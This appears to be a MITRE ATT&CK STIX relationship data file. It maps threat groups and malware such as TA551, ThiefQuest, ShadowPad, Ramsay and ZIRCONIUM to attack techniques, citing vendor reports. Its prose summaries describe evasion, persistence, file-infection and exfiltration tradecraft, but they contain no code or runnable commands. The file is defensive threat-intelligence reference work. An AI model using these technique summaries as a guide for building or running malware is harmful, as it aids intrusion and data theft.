            "description": "[TA551](https://attack.mitre.org/groups/G0127) has hidden encoded data for malware DLLs in a PNG.(Citation: Unit 42 TA551 Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--59ef906c-f395-427a-9cd5-30887a983516",
            "type": "relationship",
            "modified": "2021-03-25T15:34:04.391Z",
            "created": "2021-03-19T21:04:01.248Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                },
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                },
                {
                    "source_name": "Secureworks GOLD CABIN",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin",
                    "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."
                }
            ],
            "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)",
            "relationship_type": "uses",
            "id": "relationship--356cef7e-2994-4e52-8985-e046e8cc5513",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.259Z",
            "created": "2021-03-19T21:04:01.259Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has retrieved DLLs and installer binaries for malware execution from C2.(Citation: Unit 42 TA551 Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--c4953a3b-d674-4582-b644-1339ec097aad",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.261Z",
            "created": "2021-03-19T21:04:01.261Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262",
            "external_references": [
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used spoofed company emails that were acquired from email clients on previously infected hosts to target other individuals.(Citation: Unit 42 TA551 Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--297ca26b-2074-46ea-b81d-a0a5c6fe5ac0",
            "type": "relationship",
            "modified": "2021-03-25T15:34:04.434Z",
            "created": "2021-03-19T21:04:01.267Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                },
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                },
                {
                    "source_name": "Secureworks GOLD CABIN",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin",
                    "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."
                }
            ],
            "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)",
            "relationship_type": "uses",
            "id": "relationship--39a3fca6-cdf6-4053-b4fe-eb5d46fc729f",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.279Z",
            "created": "2021-03-19T21:04:01.279Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "external_references": [
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                },
                {
                    "source_name": "Secureworks GOLD CABIN",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin",
                    "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used a DGA to generate URLs from executed macros.(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)",
            "relationship_type": "uses",
            "id": "relationship--93656c66-acfc-43b4-af66-bf328256b7b8",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.269Z",
            "created": "2021-03-19T21:04:01.269Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used <code>cmd.exe</code> to execute commands.(Citation: Unit 42 TA551 Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--e52a9525-9209-4cf5-8f8e-43057ef6c2b3",
            "type": "relationship",
            "modified": "2021-03-25T15:34:04.440Z",
            "created": "2021-03-19T21:04:01.270Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                },
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                },
                {
                    "source_name": "Secureworks GOLD CABIN",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin",
                    "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."
                }
            ],
            "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)",
            "relationship_type": "uses",
            "id": "relationship--eca046f5-9175-4010-8297-07281f588934",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.283Z",
            "created": "2021-03-19T21:04:01.283Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                },
                {
                    "source_name": "Secureworks GOLD CABIN",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin",
                    "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has sent spearphishing attachments with password protected ZIP files.(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)",
            "relationship_type": "uses",
            "id": "relationship--5d881746-44f9-4865-86de-97253fc197fb",
            "type": "relationship",
            "modified": "2021-03-25T15:34:04.436Z",
            "created": "2021-03-19T21:04:01.281Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
            "external_references": [
                {
                    "source_name": "wardle evilquest parti",
                    "url": "https://objective-see.com/blog/blog_0x59.html",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) invokes <code>time</code> call to check the system's time, executes a <code>sleep</code> command, invokes a second <code>time</code> call, and then compares the time difference between the two <code>time</code> calls and the amount of time the system slept to identify the sandbox.(Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "id": "relationship--e46888e6-8c13-4a9c-8638-f8c151bec3c6",
            "type": "relationship",
            "modified": "2021-03-31T16:34:43.129Z",
            "created": "2021-03-21T23:21:41.288Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "external_references": [
                {
                    "source_name": "wardle evilquest parti",
                    "url": "https://objective-see.com/blog/blog_0x59.html",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses [AppleScript](https://attack.mitre.org/techniques/T1059/002)'s <code>osascript -e</code> command to launch [ThiefQuest](https://attack.mitre.org/software/S0595)'s persistence via [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004). (Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "id": "relationship--96af7164-6259-42cd-9007-e882be986dfa",
            "type": "relationship",
            "modified": "2021-04-26T19:23:34.098Z",
            "created": "2021-03-21T23:34:43.186Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "external_references": [
                {
                    "source_name": "wardle evilquest parti",
                    "url": "https://objective-see.com/blog/blog_0x59.html",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) hides a copy of itself in the user's <code>~/Library</code> directory by using a <code>.</code> at the beginning of the file name followed by 9 random characters.(Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "id": "relationship--4306857b-542d-4a54-8b4d-b835e52c5c15",
            "type": "relationship",
            "modified": "2021-04-26T20:02:14.651Z",
            "created": "2021-03-21T23:40:08.238Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "external_references": [
                {
                    "source_name": "wardle evilquest partii",
                    "url": "https://objective-see.com/blog/blog_0x60.html",
                    "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."
                },
                {
                    "source_name": "reed thiefquest ransomware analysis",
                    "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/",
                    "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) searches through the <code>/Users/</code> folder looking for executable files. For each executable, [ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of the file. When the file is executed, the [ThiefQuest](https://attack.mitre.org/software/S0595) code is executed first. [ThiefQuest](https://attack.mitre.org/software/S0595) creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)",
            "relationship_type": "uses",
            "id": "relationship--7300af33-a55d-47a7-86a6-3b756abfc8e5",
            "type": "relationship",
            "modified": "2021-03-31T16:34:43.154Z",
            "created": "2021-03-22T02:08:48.949Z"
        },
        {
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                    "url": "https://objective-see.com/blog/blog_0x60.html",
                    "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."
                },
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                    "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/",
                    "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) exfiltrates targeted file extensions in the <code>/Users/</code> folder to the command and control server via unencrypted HTTP. Network packets contain a string with two pieces of information: a file path and the contents of the file in a base64 encoded string.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)",
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                    "url": "https://objective-see.com/blog/blog_0x60.html",
                    "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."
                }
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                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the function <code>kill_unwanted</code> to obtain a list of running processes and kills each process matching a list of security related processes.(Citation: wardle evilquest parti)",
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                    "url": "https://objective-see.com/blog/blog_0x60.html",
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                },
                {
                    "source_name": "reed thiefquest ransomware analysis",
                    "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/",
                    "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of an executable file while maintaining the name of the executable.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)",
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                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has used DNS tunneling for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)",
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            "external_references": [
                {
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                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has collected the domain name of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)",
            "relationship_type": "uses",
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                {
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                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has collected the username of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)",
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            "external_references": [
                {
                    "source_name": "Kaspersky ShadowPad Aug 2017",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has used UDP for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)",
            "relationship_type": "uses",
            "id": "relationship--a726ffe8-d192-4f40-be21-ba2ffe32c670",
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            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
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                {
                    "source_name": "Kaspersky ShadowPad Aug 2017",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has collected the current date and time of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)",
            "relationship_type": "uses",
            "id": "relationship--088c3553-db7f-4e97-9f32-75e483d59cba",
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            "external_references": [
                {
                    "source_name": "Kaspersky ShadowPad Aug 2017",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has used FTP for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)",
            "relationship_type": "uses",
            "id": "relationship--a43b5d19-a2d5-4440-b0c6-6d4819edb77e",
            "type": "relationship",
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            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
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                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has collected the PID of a malicious process.(Citation: Kaspersky ShadowPad Aug 2017)",
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                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has injected an install module into a newly created process.(Citation: Kaspersky ShadowPad Aug 2017)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
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                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) communicates over HTTP to retrieve a string that is decoded into a C2 server URL.(Citation: Kaspersky ShadowPad Aug 2017)",
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                    "source_name": "Securelist ShadowPad Aug 2017",
                    "url": "https://securelist.com/shadowpad-in-corporate-networks/81432/",
                    "description": "GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."
                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has encrypted a virtual file system and various files.(Citation: Securelist ShadowPad Aug 2017)",
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                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has deleted arbitrary Registry values.(Citation: Kaspersky ShadowPad Aug 2017)",
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            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
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                }
            ],
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has injected a DLL into svchost.exe.(Citation: Kaspersky ShadowPad Aug 2017)",
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                    "url": "https://www.programmersought.com/article/62493896999/",
                    "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."
                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) has PE data embedded within JPEG files contained within Word documents.(Citation: Antiy CERT Ramsay April 2020)",
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                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) has created Registry Run keys to establish persistence.(Citation: Antiy CERT Ramsay April 2020)",
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                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) has used HTTP for C2.(Citation: Antiy CERT Ramsay April 2020)",
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                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) has been executed through malicious e-mail attachments.(Citation: Antiy CERT Ramsay April 2020)",
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                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) can gather a list of running processes by using [Tasklist](https://attack.mitre.org/software/S0057).(Citation: Antiy CERT Ramsay April 2020)",
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                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) has been distributed through spearphishing emails with malicious attachments.(Citation: Antiy CERT Ramsay April 2020)",
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                    "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."
                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use [ipconfig](https://attack.mitre.org/software/S0100) and [Arp](https://attack.mitre.org/software/S0099) to collect network configuration information, including routing information and ARP tables.(Citation: Antiy CERT Ramsay April 2020)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use <code>netstat</code> to enumerate network connections.(Citation: Antiy CERT Ramsay April 2020)",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) has obfuscated scripts used in execution.(Citation: MSTIC NOBELIUM Mar 2021)",
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                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) has used a legitimate compromised website to download DLLs to the victim's machine.(Citation: MSTIC NOBELIUM Mar 2021)",
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                    "source_name": "Microsoft Targeting Elections September 2020",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/",
                    "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."
                },
                {
                    "source_name": "Google Election Threats October 2020",
                    "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/",
                    "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."
                },
                {
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                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links and web beacons in e-mails for malware download and to track hits to attacker-controlled URL's.(Citation: Microsoft Targeting Elections September 2020)(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)",
            "relationship_type": "uses",
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                    "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."
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            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has purchased domains for use in targeted campaigns.(Citation: Microsoft Targeting Elections September 2020)",
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                    "source_name": "Google Election Threats October 2020",
                    "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/",
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                },
                {
                    "source_name": "Zscaler APT31 Covid-19 October 2020",
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Python-based implants to interact with compromised hosts.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."
                },
                {
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                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used GitHub to host malware linked in spearphishing e-mails.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)",
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                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) targeted presidential campaign staffers with credential phishing e-mails.(Citation: Google Election Threats October 2020)",
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                    "source_name": "Google Election Threats October 2020",
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                },
                {
                    "source_name": "Zscaler APT31 Covid-19 October 2020",
                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)",
            "relationship_type": "uses",
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                    "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."
                },
                {
                    "source_name": "Zscaler APT31 Covid-19 October 2020",
                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has spoofed legitimate applications in phishing lures and changed file extensions to conceal  installation of malware.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)",
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                },
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                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links in e-mails to lure victims into downloading malware.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)",
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                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used the msiexec.exe command-line utility to download and execute malicious MSI files.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
